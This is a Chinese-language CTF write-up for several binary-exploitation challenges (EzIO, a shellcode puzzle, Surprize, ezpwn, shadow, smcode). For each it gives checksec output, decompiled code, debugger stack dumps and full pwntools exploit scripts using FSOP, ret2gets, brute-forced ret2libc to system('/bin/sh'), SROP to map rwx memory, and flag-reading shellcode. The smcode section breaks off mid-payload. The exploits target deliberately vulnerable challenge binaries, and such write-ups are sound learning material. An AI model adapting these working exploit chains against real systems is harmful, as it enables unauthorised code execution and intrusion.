EzIO

 ~/Unictf/EzIO  checksec pwn                                                                                            
[*] '/home/ubuntu/Unictf/EzIO/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64'
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
int __fastcall main(int argc, const char **argv, const char **envp)
{
buf[0] = (char *)getshell;
fp = (FILE *)buf;
read(0, buf, 0x820uLL);
fclose(fp);
return 0;
}
.bss:0000000000404041                 align 20h
.bss:0000000000404060 public buf
.bss:0000000000404060 ; char *buf[256]
.bss:0000000000404060 buf dq 100h dup(?) ; DATA XREF: main+F↑w
.bss:0000000000404060 ; main+16↑o ...
.bss:0000000000404860 public fp
.bss:0000000000404860 ; FILE *fp
.bss:0000000000404860 fp dq ? ; DATA XREF: main+1D↑w
.bss:0000000000404860 ; main+42↑r

glibc只有2.23,这是一个简单的FSOP

只需要_lock可写,并且vtable没有检查,fclose调用的是vtable+0x10的函数

0x88  _lock
0xd8 vtable

所以只需要

0x88  _lock   -> writable
0xd8 vtable --
|
0xe0 fake_t <-
0xf0 getshell

这题还有后门函数

.text:00000000004011CE ; void __cdecl getshell()
.text:00000000004011CE public getshell
.text:00000000004011CE getshell proc near ; DATA XREF: main+8↑o
.text:00000000004011CE ; __unwind {
.text:00000000004011CE endbr64
.text:00000000004011D2 push rbp
.text:00000000004011D3 mov rbp, rsp
.text:00000000004011D6 lea rax, command ; "cat /data/flag"
.text:00000000004011DD mov rdi, rax ; command
.text:00000000004011E0 call _system
.text:00000000004011E5 nop
.text:00000000004011E6 pop rbp
.text:00000000004011E7 retn
.text:00000000004011E7 ; } // starts at 4011CE
.text:00000000004011E7 getshell endp
p=start()

fake_io = flat(
{
0x88:0x404960,
0xD8:0x404060+0xe0,
},
filler=b'\x00',
)

payload=fake_io+p64(0)*2+p64(0x4011D6)
p.send(payload)

p.interactive()

什么?我不是汇编高手吗?

 ~/Unictf/shellcode  checksec pwn                                                                                       
[*] '/home/ubuntu/Unictf/shellcode/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

分析一下

int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-28h]
int n4; // [rsp+Ch] [rbp-24h]
int i; // [rsp+10h] [rbp-20h]
int n10; // [rsp+14h] [rbp-1Ch]
_BYTE *addr_1; // [rsp+18h] [rbp-18h]
_BYTE *addr; // [rsp+20h] [rbp-10h]

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
addr = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
if ( addr == (_BYTE *)-1LL )
return 1;
printf("%p\n", addr);
addr_1 = addr;
v4 = 1;
while ( v4 && addr_1 < addr + 4091 )
{
n4 = 0;
for ( i = 0; i <= 3; ++i )
{
n10 = fgetc(stdin);
if ( n10 == -1 || n10 == 10 )
{
v4 = 0;
break;
}
addr_1[i + 1] = n10;
++n4;
}
if ( n4 == 4 )
{
*addr_1 = -23;
addr_1 += 5;
}
}
mprotect(addr, 0x1000uLL, 5);
((void (*)(void))addr)();
return 0;
}
.text:00000000004011F6 ; unsigned __int64 getshell()
.text:00000000004011F6 public getshell
.text:00000000004011F6 getshell proc near
.text:00000000004011F6
.text:00000000004011F6 var_8 = qword ptr -8
.text:00000000004011F6
.text:00000000004011F6 ; __unwind {
.text:00000000004011F6 endbr64
.text:00000000004011FA push rbp
.text:00000000004011FB mov rbp, rsp
.text:00000000004011FE sub rsp, 10h
.text:0000000000401202 mov rax, fs:28h
.text:000000000040120B mov [rbp+var_8], rax
.text:000000000040120F xor eax, eax
.text:0000000000401211 lea rax, command ; "cat /data/flag"
.text:0000000000401218 mov rdi, rax ; command
.text:000000000040121B call _system
.text:0000000000401220 nop
.text:0000000000401221 mov rax, [rbp+var_8]
.text:0000000000401225 sub rax, fs:28h
.text:000000000040122E jz short locret_401235
.text:0000000000401230 call ___stack_chk_fail
.text:0000000000401235 ; ---------------------------------------------------------------------------
.text:0000000000401235
.text:0000000000401235 locret_401235: ; CODE XREF: getshell+38↑j
.text:0000000000401235 leave
.text:0000000000401236 retn
.text:0000000000401236 ; } // starts at 4011F6
.text:0000000000401236 getshell endp

shellcode的执行是使用call rdx

进入后的寄存器状态是

 RAX  0
RBX 0x7ffc46014378 —▸ 0x7ffc46015e6d ◂— '/home/ubuntu/Unictf/shellcode/pwn'
RCX 0x7e042b925c4b (mprotect+11) ◂— cmp rax, -0xfff
RDX 0x7e042bb62000 ◂— [shellcode]
RDI 0x7e042bb62000 ◂— [shellcode]
RSI 0x1000
R8 0xf
R9 0
R10 1
R11 0x246
R12 1
R13 0
R14 0x403da8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011c0 (__do_global_dtors_aux) ◂— endbr64
R15 0x7e042bb9d000 (_rtld_global) —▸ 0x7e042bb9e2e0 ◂— 0
RBP 0x7ffc46014250 —▸ 0x7ffc460142f0 —▸ 0x7ffc46014350 ◂— 0
*RSP 0x7ffc46014218 —▸ 0x40139b (main+356) ◂— mov eax, 0
*RIP 0x7e042bb62000 ◂— [shellcode]

我们的输入则是四个四个为一组

形成这样的结构

00:	e9 xx xx xx xx
05: e9 xx xx xx xx
...
xx: 00 xx xx xx (或者 xx: e9 xx xx xx xx)

不足一组的前面补\x00,满一组的前面补\xe9

\xe9机器码代表jmp imm32,就是

00: jmp imm32
--->
imm32+5: xx

mmap的地址一般都是处在与ld相邻的低地址处,而我们的后门函数处在一个极低的地址,不可能通过偏移得到

因此我想到了call rax

只需要控制rax,可以使用mov rax,imm32,长度是5,不够塞进我们的4个一组,但是发现不足一组的前面补\x00,而我们要实现的

mov rax,imm32可以这样

e9 b8 0f 12 40
00

后面接上call rax

前面接上jmp 1就可以跳过e9 b8 0f 12 40 00的第一字节

总结起来就是

e9 01 00 00 00
e9 b8 0f 12 40
00 ff d0
► 0x7e042bb62000    jmp    0x7e042bb62006              <0x7e042bb62006>

0x7e042bb62006 mov eax, getshell+25 EAX => 0x40120f (getshell+25) ◂— xor eax, eax
0x7e042bb6200b call rax <getshell+25>
p=start()
p.sendline(b'\x01\x00\x00\x00\xb8\x0f\x12\x40\xff\xd0')
p.interactive()

Surpize

 ~/Unictf/Surprize  checksec pwn                                                                                        
[*] '/home/ubuntu/Unictf/Surprize/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

源码是

int __fastcall main(int argc, const char **argv, const char **envp)
{
const char **envp_1; // rdx

init(argc, argv, envp);
lmao();
main(argc, argv, envp_1);
return 0;
}

int init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}

// bad sp value at call has been detected, the output may be wrong!
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp-48h] [rbp-48h] BYREF

gets(&v4, argv, envp, 8LL);
return 0;
}

signed __int64 wutihave()
{
const char *envp; // [rsp+0h] [rbp-28h] BYREF
const char *argv[4]; // [rsp+8h] [rbp-20h] BYREF

argv[3] = "/bin/ls";
argv[0] = "/bin/ls";
argv[1] = 0LL;
argv[2] = 0LL;
envp = 0LL;
return sys_execve("/bin/ls", argv, &envp);
}

ssize_t __fastcall leimicc(const char *file)
{
const char *envp; // [rsp+18h] [rbp-C8h] BYREF
const char *argv[4]; // [rsp+20h] [rbp-C0h] BYREF
stat buf; // [rsp+40h] [rbp-A0h] BYREF
const char *filename; // [rsp+D8h] [rbp-8h]

if ( stat(file, &buf) )
return write(1, "No such file or directory\n", 0x1AuLL);
filename = "/bin/cat";
argv[0] = "/bin/cat";
argv[1] = file;
argv[2] = 0LL;
envp = 0LL;
return sys_execve("/bin/cat", argv, &envp);
}

lmao这个只是一个动画展示,接收一个char就停止了,漏洞就是没有canarygets

看似很简单,实则全是坏心眼

没有pop rdi,只能使用ret2gets大法了

先控制好rop

p64(call_gets_addr)+p64(leimicc_addr)

由于第一次gets后要立即接上gets,而第二个gets结束后有leave;retn

.text:0000000000401778                 call    _gets
.text:000000000040177D xor eax, eax
.text:000000000040177F test eax, eax
.text:0000000000401781 jnz short _4
.text:0000000000401783 leave
.text:0000000000401784 retn

所以实际上发现第二个gets前是

pwndbg> stack 10
00:0000│ rax rsp 0x7ffc72294dd8 —▸ 0x401778 (_main+45) ◂— call gets@plt
01:0008│-030 0x7ffc72294de0 —▸ xxxx
... ↓ 5 skipped
07:0038│ rbp 0x7ffc72294e10 —▸ xxxx
08:0040│+008 0x7ffc72294e18 —▸ xxxx
09:0048│+010 0x7ffc72294e20 —▸ xxxx

控制rop

p64(call_gets_addr)+p64(leimicc_addr)*6+p64(rbp_addr)+p64(leimicc_addr)

就是

pwndbg> stack 10
00:0000│ rax rsp 0x7ffc72294dd8 —▸ 0x401778 (_main+45) ◂— call gets@plt
01:0008│-030 0x7ffc72294de0 —▸ 0x4016a2 (leimicc) ◂— endbr64
... ↓ 5 skipped
07:0038│ rbp 0x7ffc72294e10 —▸ 0x404a00 ◂— 0
08:0040│+008 0x7ffc72294e18 —▸ 0x4016a2 (leimicc) ◂— endbr64
09:0048│+010 0x7ffc72294e20 —▸ 0x7ffc72294e00 —▸ 0x4016a2 (leimicc) ◂— endbr64

然后第二个gets就可以使用ret2gets

payload2=b"/fla"+p8(u8(b"g")+1)

远程打的时候发现不存在这个文件,于是先用wutihave看了看有什么文件

发现是flag_c83c4995a8d5c1f80eca464f6f9282fa

于是重新换了文件名就对了

p=start()
call_gets_addr=0x401778
leimicc_addr=0x4016A2
rbp_addr=0x404a00
wutihave_addr=0x401653

"""
payload1=b'a'+p64(0wutihave_addr)
p.sendline(payload1)
"""

payload1=b'a'+p64(call_gets_addr)+p64(leimicc_addr)*6+p64(rbp_addr)+p64(leimicc_addr)
p.sendline(payload1)


payload2=b"flag"+p8(u8(b"_")+1)+b'c83c4995a8d5c1f80eca464f6f9282fa'
p.sendline(payload2)

p.interactive()

ezpwn

 ~/Unictf/ezpwn  checksec pwn                                                                                           
[*] '/home/ubuntu/Unictf/ezpwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
SHSTK: Enabled
IBT: Enabled
Stripped: No
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
g1();
}

// positive sp value has been detected, the output may be wrong!
void __noreturn g1()
{
__int64 buf; // [rsp+8h] [rbp-18h] BYREF
_QWORD v1[2]; // [rsp+10h] [rbp-10h] BYREF

v1[1] = __readfsqword(0x28u);
v1[0] = 0LL;
buf = 0LL;
read(0, &buf, 8uLL);
write(1, (char *)v1 + buf, 5uLL);
g2();
}

void __noreturn g2()
{
read(0, &ptr, 8uLL);
read(0, ptr, 0xC0uLL);
exit(0);
}

一个栈上地址泄露,一个任意地址写0xC0,似乎太短了不够打house of apple2之类的

尝试返回main函数得到多次泄露,多次读

要想返回main可以劫持read(0, ptr, 0xC0uLL);的返回地址

先泄露出栈地址,劫持read的返回地址

03:0018│ rax rsi 0x7fff812444d8 —▸ 0x61aa383dd203 (g2+58) ◂— mov edi, 0
|
00:0000│ rsi rsp 0x7fff812444d8 —▸ 0x61aa383dd20d (g1) ◂— endbr64

这样只需要爆破就行了,概率有1/16,还是比较快的

后面依样画葫芦泄露出libc然后ret2libc就行了

def boom():
p.send(b'\x10')
stack_addr=u64(p.recv(5)+b'\x7f'+b'\x00\x00')
log.info(f"stack_addr: {hex(stack_addr)}")

p.send(p64(stack_addr-0x48))
p.send(b'\x0d\x22')

sleep(0.5)
p.send(b'\x01\x01')
offset=0x29ce0
libc_addr=u64(b'\x65'+p.recv(5)+b'\x00\x00')-133-offset
log.info(f"libc_addr: {hex(libc_addr)}")

p.send(p64(stack_addr-0x80))
pop_rdi_addr=libc_addr+0x2a145
system_addr=libc_addr+ 0x53110
payload=p64(pop_rdi_addr)+p64(stack_addr-0x68)+p64(system_addr)+b'/bin/sh\x00'
p.send(payload)


for i in range(48):
try:
p=start()
boom()
break
except:
log.failure(b"trying")
log.failure(i)
p.close()
continue

p.interactive()

shadow

 ~/Unictf/shadow  checksec pwn                                                                                          
[*] '/home/ubuntu/Unictf/shadow/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *retaddr; // [rsp+8h] [rbp+8h]

sub_1229(a1, a2, a3);
signal(11, handler);
qword_4050 = (__int64)mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
if ( qword_4050 == -1 )
return 1LL;
*(_QWORD *)(qword_4050 + 8LL * n256++) = retaddr;
if ( n256 > 256 )
exit(-1);
sub_1460();
qword_4060 = *(_QWORD *)(8LL * --n256 + qword_4050);
qword_4068 = (__int64)retaddr;
if ( (void *)qword_4060 != retaddr )
retaddr = (void *)qword_4060;
return 0LL;
}

void *sub_1460()
{
void *result; // rax
char s[8]; // [rsp+8h] [rbp-8h] BYREF
void *retaddr; // [rsp+18h] [rbp+8h]

*(_QWORD *)(qword_4050 + 8LL * n256++) = retaddr;
if ( n256 > 256 )
exit(-1);
memset(s, 0, sizeof(s));
sub_1393();
read(0, s, 8uLL);
printf("%.8s", s);
qword_4060 = *(_QWORD *)(8LL * --n256 + qword_4050);
qword_4068 = (__int64)retaddr;
result = retaddr;
if ( (void *)qword_4060 != retaddr )
{
result = (void *)qword_4060;
retaddr = (void *)qword_4060;
}
return result;
}

void *sub_1393()
{
void *result; // rax
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF
void *retaddr; // [rsp+18h] [rbp+8h]

*(_QWORD *)(qword_4050 + 8LL * n256++) = retaddr;
if ( n256 > 256 )
exit(-1);
read(0, buf, 0x40uLL);
qword_4060 = *(_QWORD *)(8LL * --n256 + qword_4050);
qword_4068 = (__int64)retaddr;
result = retaddr;
if ( (void *)qword_4060 != retaddr )
{
result = (void *)qword_4060;
retaddr = (void *)qword_4060;
}
return result;
}

void handler()
{
_BYTE buf[16]; // [rsp+10h] [rbp-10h] BYREF
void *retaddr; // [rsp+28h] [rbp+8h]

*(_QWORD *)(qword_4050 + 8LL * n256++) = retaddr;
if ( n256 > 256 )
exit(-1);
read(0, buf, 0x120uLL);
qword_4060 = *(_QWORD *)(8LL * --n256 + qword_4050);
qword_4068 = (__int64)retaddr;
if ( (void *)qword_4060 != retaddr )
retaddr = (void *)qword_4060;
}

一个没有canary,有极大溢出的题,但是不能劫持elf函数的返回地址,只能劫持libc中函数的返回地址

signal里面有call sigreturn,而且有这么大的溢出,那么就是SROP

另外printf的参数是使用rbp定位的,第一次溢出rbp的最后一个字节就可能撞到[rbp-0x8]elf地址

既然rbp已经被破坏了,那么第二次返回是leave,ret使得rsp、rbp处在错误的位置上,shadow无法修复rsp,从main返回时就会发生段错误

read ->

00:0000│ rsi rsp 0x7ffd5ba9e090 ◂— 0x6161616161616161 ('aaaaaaaa')
01:0008-008 0x7ffd5ba9e098 ◂— 0x6161616161616161 ('aaaaaaaa')
02:0010│ rbp 0x7ffd5ba9e0a0 —▸ 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0
03:0018│+008 0x7ffd5ba9e0a8 —▸ 0x64cee35ef4d8 ◂— lea rax, [rbp - 8]


leave;retn ->

00:0000│ rsp 0x7ffd5ba9e0b0 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched'
01:0008-018 0x7ffd5ba9e0b8 ◂— 0
02:0010-010 0x7ffd5ba9e0c0 —▸ 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0
03:0018-008 0x7ffd5ba9e0c8 —▸ 0x64cee35ef6f7 ◂— mov rax, qword ptr [rip + 0x2952]
04:0020│ rbp 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0
05:0028│+008 0x7ffd5ba9e0d8 —▸ 0x7734f6c2a1ca (__libc_start_call_main+122) ◂— mov edi, eax
06:0030│+010 0x7ffd5ba9e0e0 —▸ 0x7ffd5ba9e120 —▸ 0x64cee35f1d88 —▸ 0x64cee35ef1e0 ◂— endbr64
07:0038│+018 0x7ffd5ba9e0e8 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched'


read ->

00:0000│ rsp 0x7ffd5ba9e0b0 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched'
01:0008-018 0x7ffd5ba9e0b8 ◂— 0
02:0010-010 0x7ffd5ba9e0c0 —▸ 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0
03:0018│ rsi 0x7ffd5ba9e0c8 —▸ 0x64cee35ef611 ◂— sub al, byte ptr [rax] /* '*' */
04:0020│ rbp 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0
05:0028│+008 0x7ffd5ba9e0d8 —▸ 0x7734f6c2a1ca (__libc_start_call_main+122) ◂— mov edi, eax
06:0030│+010 0x7ffd5ba9e0e0 —▸ 0x7ffd5ba9e120 —▸ 0x64cee35f1d88 —▸ 0x64cee35ef1e0 ◂— endbr64
07:0038│+018 0x7ffd5ba9e0e8 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched'


shadow protect success ->

00:0000│ rsp 0x7ffd5ba9e0b0 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched'
01:0008-018 0x7ffd5ba9e0b8 ◂— 0
02:0010-010 0x7ffd5ba9e0c0 —▸ 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0
03:0018-008 0x7ffd5ba9e0c8 —▸ 0x64cee35ef611 ◂— sub al, byte ptr [rax] /* '*' */
04:0020│ rbp 0x7ffd5ba9e0d0 —▸ 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0
05:0028│+008 0x7ffd5ba9e0d8 —▸ 0x64cee35ef6f7 ◂— mov rax, qword ptr [rip + 0x2952]
06:0030│+010 0x7ffd5ba9e0e0 —▸ 0x7ffd5ba9e120 —▸ 0x64cee35f1d88 —▸ 0x64cee35ef1e0 ◂— endbr64
07:0038│+018 0x7ffd5ba9e0e8 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched'


leave;retn ->

00:0000│ rsp 0x7ffd5ba9e0e0 —▸ 0x7ffd5ba9e120 —▸ 0x64cee35f1d88 —▸ 0x64cee35ef1e0 ◂— endbr64
01:0008-088 0x7ffd5ba9e0e8 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched'
02:0010-080 0x7ffd5ba9e0f0 ◂— 0x1e35ee040
03:0018-078 0x7ffd5ba9e0f8 —▸ 0x64cee35ef638 ◂— endbr64
04:0020-070 0x7ffd5ba9e100 —▸ 0x7ffd5ba9e1f8 —▸ 0x7ffd5ba9f98b ◂— '/home/ubuntu/Unictf/shadow/pwn_patched'


shadow protect failed ->

RBP 0x7ffd5ba9e170 —▸ 0x7ffd5ba9e1d0 ◂— 0

0x64cee35ef74c mov qword ptr [rbp + 8], rax [0x7ffd5ba9e178] <= 0x7734f6c2a1ca (__libc_start_call_main+122) ◂— mov edi, eax

00:0000│ rsp 0x7ffd5ba9e0e0 —▸ 0x7ffd5ba9e120 —▸ 0x64cee35f1d88 —▸ 0x64cee35ef1e0 ◂— endbr64


retn ->

0x64cee35ef759 ret <0x7ffd5ba9e1f8>

0x7ffd5ba9e1f8 mov edi, ecx EDI => 0


SIGSEGV

进入handle后就可以溢出覆盖Signal Frame,从而控制执行流

这里我选择返回mmap提前控制好mmap的参数开辟一个rwx的区域

由于返回后执行是rsp\rbp还是在rw上的,于是重复一次,使得rsp\rbp落在rwx

再一次返回时就可以写入shellcode控制rip执行了

elf_base=0

def boom():
payload1=b'a'*0x10+b'\xd0'
p.send(payload1)
sleep(0.5)
p.send(b'\x11')


def srop(elf_base):
payload =b'a'*0x10+p64(elf_base+0x4048)+p64(0)
payload+=p64(7)+p64(0)*2+p64(0x78de00000002)+p64(0)
payload+=p64(0xffffffffffffffff)+p64(0)+p64(0)*6 # r8-r15
payload+=p64(elf_base+0x7000) # rdi
payload+=p64(0x1000) # rsi
payload+=p64(elf_base+0x4b48) # rbp
payload+=p64(0) # rbx
payload+=p64(7) # rdx
payload+=p64(0) # rax
payload+=p64(0x22) # rcx
payload+=p64(elf_base+0x4a48) # rsp
payload+=p64(elf_base+0x167E) # rip
p.send(payload)

def srop2(elf_base):
payload =b'a'*0x10+p64(elf_base+0x4048)+p64(0)
payload+=p64(7)+p64(0)*2+p64(0x78de00000002)+p64(0)
payload+=p64(0xffffffffffffffff)+p64(0)+p64(0)*6 # r8-r15
payload+=p64(elf_base+0x8000) # rdi
payload+=p64(0x1000) # rsi
payload+=p64(elf_base+0x7b48) # rbp
payload+=p64(0) # rbx
payload+=p64(7) # rdx
payload+=p64(0) # rax
payload+=p64(0x22) # rcx
payload+=p64(elf_base+0x7a48) # rsp
payload+=p64(elf_base+0x167E) # rip
p.send(payload)

def srop3(elf_base):
shell = """
push 0x67616c66
mov rdi, rsp
xor esi, esi
push 0x2
pop rax
syscall
mov rdi, rax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edi, 0x1
mov rsi, rsp
push 0x1
pop rax
syscall
"""
shellcode=asm(shell)
payload =b'a'*0x10+p64(elf_base+0x4048)+p64(0)
payload+=p64(7)+p64(0)*2+p64(0x78de00000002)+p64(0)
payload+=shellcode
payload = payload.ljust(0xc0, b'\x00')
payload+=p64(elf_base+0x7c00) # rsp
payload+=p64(elf_base+0x74e8) # rip
p.send(payload)

for i in range(48):
try:
p=start()
boom()
elf_base = u64(p.recv(8).ljust(8,b'\x00'))-0x1611
if elf_base<0x600000000000 and elf_base>0x500000000000 and elf_base%0x1000==0:
log.success(f"elf_base: {hex(elf_base)}")
else:
log.failure(f"elf_base: {hex(elf_base)}")
p.close()
continue
sleep(0.5)
srop(elf_base)
sleep(0.5)
p.sendline('/flag\x00')
sleep(0.5)
p.sendline('/flag\x00')
sleep(0.5)
srop2(elf_base)
sleep(0.5)
p.sendline('/flag\x00')
sleep(0.5)
p.sendline('/flag\x00')
sleep(0.5)
srop3(elf_base)
break
except:
log.failure(b"trying")
log.failure(i)
p.close()
continue

p.interactive()

smcode

int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
vuln();
return 0;
}

void vuln()
{
void *dest; // [rsp+0h] [rbp-1030h]
ssize_t n; // [rsp+8h] [rbp-1028h]
_BYTE buf[24]; // [rsp+10h] [rbp-1020h] BYREF
unsigned __int64 v3; // [rsp+1018h] [rbp-18h]

v3 = __readfsqword(0x28u);
dest = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
puts("Input your shellcode");
n = read(0, buf, 0x1000uLL);
if ( n <= 0 )
{
fwrite("[-] Read failed.\n", 1uLL, 0x11uLL, stderr);
exit(1);
}
if ( !(unsigned int)check_shellcode(buf, n) )
{
fwrite("[-]\n", 1uLL, 4uLL, stderr);
exit(1);
}
puts("[+]");
memcpy(dest, buf, n);
__asm { jmp rbx }
}

__int64 __fastcall check_shellcode(__int64 a1, unsigned __int64 i_1)
{
unsigned __int64 i; // [rsp+18h] [rbp-8h]

for ( i = 0LL; i < i_1; ++i )
{
if ( !(unsigned int)is_valid_fib(*(unsigned __int8 *)(a1 + i)) )
{
fprintf(stderr, "[-] Invalid byte at offset %lu: 0x%02X\n", i, *(unsigned __int8 *)(a1 + i));
return 0LL;
}
}
return 1LL;
}

__int64 __fastcall is_valid_fib(char a1)
{
unsigned int i; // [rsp+10h] [rbp-4h]

for ( i = 0; i <= 0xC; ++i )
{
if ( a1 == FIB_BYTES[i] )
return 1LL;
}
return 0LL;
}

也就是说,只允许使用FIB_BYTES中的

.rodata:0000000000002008 FIB_BYTES       db 0, 1, 2, 3, 5, 8, 0Dh, 15h, 22h, 37h, 59h, 90h, 0E9h

不敢相信这是简单题

允许的指令有

37 → AAA
59 → pop rcx
90 → nop

00 00 add [rax], al
00 01 add [rcx], al
00 02 add [rdx], al
00 03 add [rbx], al
00 08 add [rax], cl
00 22 add [rdx], ah
00 37 add [rdi], dh
00 E9 add cl, ch

01 00 add [rax], eax
01 01 add [rcx], eax
01 02 add [rdx], eax
01 03 add [rbx], eax
01 08 add [rax], ecx
01 22 add [rdx], esp
01 37 add [rdi], esi
01 E9 add ecx, ebp

02 00 add al, [rax]
02 01 add al, [rcx]
02 02 add al, [rdx]
02 03 add al, [rbx]
02 08 add cl, [rax]
02 22 add ah, [rdx]
02 37 add dh, [rdi]
02 E9 add ch, cl

03 00 add eax, [rax]
03 01 add eax, [rcx]
03 02 add eax, [rdx]
03 03 add eax, [rbx]
03 08 add ecx, [rax]
03 22 add esp, [rdx]
03 37 add esi, [rdi]
03 E9 add ebp, ecx

08 00 OR [rax], al
08 01 OR [rcx], al
08 02 OR [rdx], al
08 03 OR [rbx], al
08 08 OR [rax], cl
08 22 OR [rdx], ah
08 37 OR [rdi], dh
08 E9 OR ch, cl

22 00 add al, [rax]
22 01 add al, [rcx]
22 02 add al, [rdx]
22 03 add al, [rbx]
22 08 add cl, [rax]
22 22 add ah, [rdx]
22 37 add dh, [rdi]
22 E9 add ch, cl

0x05 add eax, imm32
0x0D or eax, imm32
0x15 adc eax, imm32
0xE9 jmp rel32

初始寄存器状态类似是

 RAX  0
RBX 0x786e0266e000 ◂— [shellcode]
RCX 0
RDX 0
RDI 0
RSI 0
R8 0x786e0266e000 ◂— [shellcode]
R9 0
R10 0x22
R11 0x202
R12 1
R13 0
R14 0x5f2d790dbd80 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5f2d790d9200 (__do_global_dtors_aux) ◂— endbr64
R15 0x786e026a9000 (_rtld_global) —▸ 0x786e026aa2e0 —▸ 0x5f2d790d8000 ◂— 0x10102464c457f
RBP 0x7ffdc029af60 —▸ 0x7ffdc029af70 —▸ 0x7ffdc029b010 —▸ 0x7ffdc029b070 ◂— 0
RSP 0x7ffdc0299f30 —▸ 0x786e0266e000 ◂— [shellcode]
*RIP 0x786e0266e000 ◂— [shellcode]

对于限制字符的shellcode来说,可以使用add xor等等指令改变shellcode的内容

这里我也使用了这种方法

我选取了rcx作为我的操作寄存器,不仅仅是因为可以使用add [rcx],eax来改变shellcode,而且add cl,ch还可以改变rcx,从而能改变更多条代码

我初步选取了mov rsi,rcx;mov edx,0x1500;xor eax,eax;syscall来实现shellcoderead(0,$rcx,0x1500)进一步读取

我发现要实现add [rcx],eax,却没有mov eax,imm32,意味着每次代码改变都要xor eax,eax

add cl,ch只有0x100的操作空间,不可能每次都加出来xor eax,eax

只能先xor eax,eax然后先将xor eax,eax布置在每改变一条代码前面在进行下去

经过精妙的布置后,得到了这个

# -- 0x0 --
# pop rcx
shell = '\x59'
# calc xor eax, eax
shell+= '\x00\xe9'*0xe
shell+= '\x05\x08\x00\x00\x00'
shell+= '\x05\x15\x00\x00\x00'
shell+= '\x05\x59\x03\x00\x00'
shell+= '\x05\xe9\x08\x00\x00'
shell+= '\x05\xe9\x22\x00\x00'
shell+= '\x01\x01' # -------------------------------------------------------
# |
# prepare xor eax, eax |
shell+= '\x00\xe9'*0x8 # |
shell+= '\x01\x01' # -------------------------------------------------- |
shell+= '\x00\xe9'*0x5 # | |
shell+= '\x01\x01' # ----------------------------------------- | |
shell+= '\x00\xe9'*0x2 # | | |
shell+= '\x01\x01' #------------------------------ | | |
# | | | |
# prepare rcx | | | |
shell+= '\x00\xe9'*0x2 # | | | |
# | | | |
# calc mov rsi,rcx | | | |
""" # | | | |
c88948=90e9e9+3d9f5f # | | | |
3d9f5f=37e9e9+5b576 # | | | |
5b576=590e9+248d # | | | |
248d=22e9+1a4 # | | | |
1a4=190+14 # | | | |
14=d+7 # | | | |
7=5+2 # | | | |
""" # | | | |
# -- 0x60 -- | | | |
shell+= '\xe9\x90' # <- xor eax,eax -------------+-----------+--------- |
shell+= '\x00\xe9'*0xb # | | |
shell+= '\x05\x02\x00\x00\x00' # | | |
shell+= '\x05\x05\x00\x00\x00' # | | |
shell+= '\x05\x0d\x00\x00\x00' # | | |
shell+= '\x05\x90\x01\x00\x00' # | | |
shell+= '\x05\xe9\x22\x00\x00' # | | |
shell+= '\x05\xe9\x90\x05\x00' # | | |
shell+= '\x05\xe9\xe9\x37\x00' # | | |
shell+= '\x01\x01' # -------------------- | | |
shell+= '\x90'*(0x40-61) # | | | |
# -- 0xa0 -- | | | |
